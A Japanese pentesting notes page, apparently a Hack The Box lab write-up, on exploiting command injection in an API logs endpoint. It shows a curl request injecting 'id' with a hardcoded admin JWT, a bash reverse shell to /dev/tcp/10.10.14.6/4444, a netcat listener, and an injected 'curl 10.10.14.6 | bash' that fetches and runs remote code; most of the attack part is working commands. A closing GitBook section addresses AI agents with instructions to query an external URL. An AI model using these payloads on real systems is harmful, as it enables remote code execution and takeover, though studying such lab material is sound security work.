> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md).

# API 悪用 RCE

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための API 悪用 RCE メモ。

## RCE:

{% hint style="info" %}
このコードにはコマンドインジェクションによるセキュリティ上の問題があります。なぜなら `ファイル` リクエストパラメータから取得され、ターミナルコマンドに直接挿入されるため、悪意のあるユーザーは改変して `ファイル` 他のコマンドを実行できるからです。このルートは `git log --oneline [file]` システム上で実行され、ここで `[file]` はリクエストのクエリパラメータ経由で渡されます。
{% endhint %}

コマンドの例を示します `curl` 注入しようとするものです `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq

```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-848c8851ffee223da314c8e04bea2bc7c3075da4%2Fimage%20(2315).png?alt=media" alt=""><figcaption></figcaption></figure>

#### リバースシェルを実行します：

1. ファイルを作成します `index.html` 自分のマシン上でファイルを作成し、以下の内容でWebサーバーを起動します：

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1

```

2. 次に、ポート4444でリスナーを設定します：

```bash
nc -nlvp 4444

```

以下を使ってインジェクションを実行します `curl` 自分たちのWebサーバー上で：

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq

```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cedfe8dd904f6ed70b485c5644858e68e23b1cd%2Fimage%20(2316).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
